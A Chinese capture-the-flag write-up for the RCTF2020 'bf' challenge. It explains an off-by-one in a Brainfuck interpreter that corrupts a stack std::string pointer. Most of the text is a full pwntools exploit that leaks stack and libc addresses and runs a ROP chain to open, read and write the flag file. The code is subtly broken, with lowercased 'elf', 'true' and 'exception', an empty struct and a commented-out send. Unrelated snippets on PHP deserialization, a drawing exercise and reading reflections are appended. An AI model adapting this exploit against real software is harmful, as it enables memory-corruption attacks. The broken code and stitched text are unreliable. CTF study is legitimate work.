rctf2020_bf(string指標的利用)
首先,檢查一下程式的保護機制
然後,我們用ida分析一下,發現是乙個brain ****語言的直譯器,其中在》指令操作中,存在乙個off by one,ptr指標可以指向string物件,
然後,通過後面的read等操作,可以控制string內部第乙個指標的低1位元組
而結尾的時候,會輸出string指標指向的地方的內容
因此,控制string指標,我們現在可以完成資料洩露。
string物件內部有這4個成員,我們能夠通過off by one控制buf。該指標指向字串的資料開始處。
struct ;
程式開頭,使用operator+來將字元連線到string中,operator+主要就是把字串拼接到buf+size指向的位置處。而開頭的時候,使用了clear(&string,0),該操作將把size賦值為0,由此,我們可以利用此來實現string指標位址附近任意讀寫。
通過閱讀原始碼再加以除錯,string物件初始的時候,其
buf指標一開始指向
string物件的
tmp_buf處,當長度超過8位元組時,會使用malloc分配堆記憶體來儲存字串。這就是重點了。
這個string物件是放在棧上的,所以只要其字串不超過8位元組,那麼buf指向的就是棧位址,通過低1位元組控制buf指向,就能實現對棧上資料進行讀寫。當我們控制棧以後,修改capacity,這樣,就可以寫更多的資料,而不會觸發string呼叫malloc重新申請記憶體。我們劫持返回位址,做rop即可。我們可以把rop布置在前面的box裡面。當我們結束修改以後,最後我們需要把buf指標改回原來的位置,不然string的析構函式執行時會崩潰。
#coding:utf8
from pwn import *
libc = elf('/lib/x86_64-linux-gnu/libc-2.27.so')
offset = libc.symbols['__libc_start_main'] + 0xe7
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']
while true:
try:
global sh
#sh = process('./bf')
sh = remote('124.156.135.103',6002)
payload = '+[>+],'
sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xb0))
sh.recvuntil('done! your code: ')
x = u64(sh.recv(6).ljust(8,'\x00'))
if x >> 40 != 0x7f:
raise exception('leak error')
stack_addr = x
print 'stack_addr=',hex(x)
sh.sendafter('want to continue?','y')
sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xc8))
sh.recvuntil('done! your code: ')
x = u64(sh.recv(6).ljust(8,'\x00'))
if x >> 40 != 0x7f:
raise exception('leak error')
libc_base = x - offset
pop_rdi = libc_base + 0x000000000002155f
pop_rsi = libc_base + 0x0000000000023e6a
pop_rdx = libc_base + 0x0000000000001b96
pop_rsp = libc_base + 0x0000000000003960
open_addr = libc_base + open_s
read_addr = libc_base + read_s
write_addr = libc_base + write_s
print 'libc_base=',hex(libc_base)
print 'open_addr=',hex(open_addr)
print 'read_addr=',hex(read_addr)
print 'write_addr=',hex(write_addr)
sh.sendafter('want to continue?','y')
rop_addr = stack_addr - 0x1c0
flag_addr = rop_addr + 0x98
sh.sendlineafter('enter your code:',payload)
sh.sendafter('running....',p8(0xc8-8))
sh.sendafter('want to continue?','y')
payload = '+[,>+],a' + p64(pop_rsp) + p64(rop_addr)
sh.sendlineafter('enter your code:',payload)
sh.recvuntil('running....')
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop += './flag\x00'
for i in range(0x400 - len(rop) - 1):
sh.send('a')
for x in rop:
sh.send(x)
sh.send('a')
#復原sh.send(p8(0x90))
sh.interactive()
except:
sh.close()
print 'trying...'
RCTF2020關於反序列化的一些記錄
這次比賽,我只能說這就是rctf?i了i了 這次有一道web題目,是關於反序列化的,這兒稍微記錄一下其中的知識點 題目原始碼 根據p牛的描述,我們可以直接將小寫s改為大寫的s,然後後面的字串可以用十六進製制代替 這兒直接給出處理php指令碼,傳入的引數是序列化的字串 bypass 00 functi...
模擬 2020加油
描述 傳說中的2020年到啦,大家來畫個圖迎接新年的到來吧。輸入輸入n 15 n 5,且為奇數 分別為2和0的邊長 輸出其實只是列印2和0這兩個數字而已,每個數字之間用乙個空格隔開。樣例輸入 樣例輸出 提示 2在水平方向為三根橫線 長度為n 豎直方向為兩個豎線 長度應該是 n 1 2 0就是列印乙個...
2020讀書有感
保持正念,專注當下,這些都是生活經歷,都是修行。要知行合一,是我們的分別心賦予了什麼是痛苦什麼是歡樂。人聲最大的痛苦是 認為自己不該有的痛苦而痛苦。人為什麼產生焦慮情緒?當你在做一件事時,卻無法忠於這件事,就會變得焦慮。有人說,居於廟堂,身處佛寺才是修行。但其實生活本身就是修行。修煉正念,可以在任何...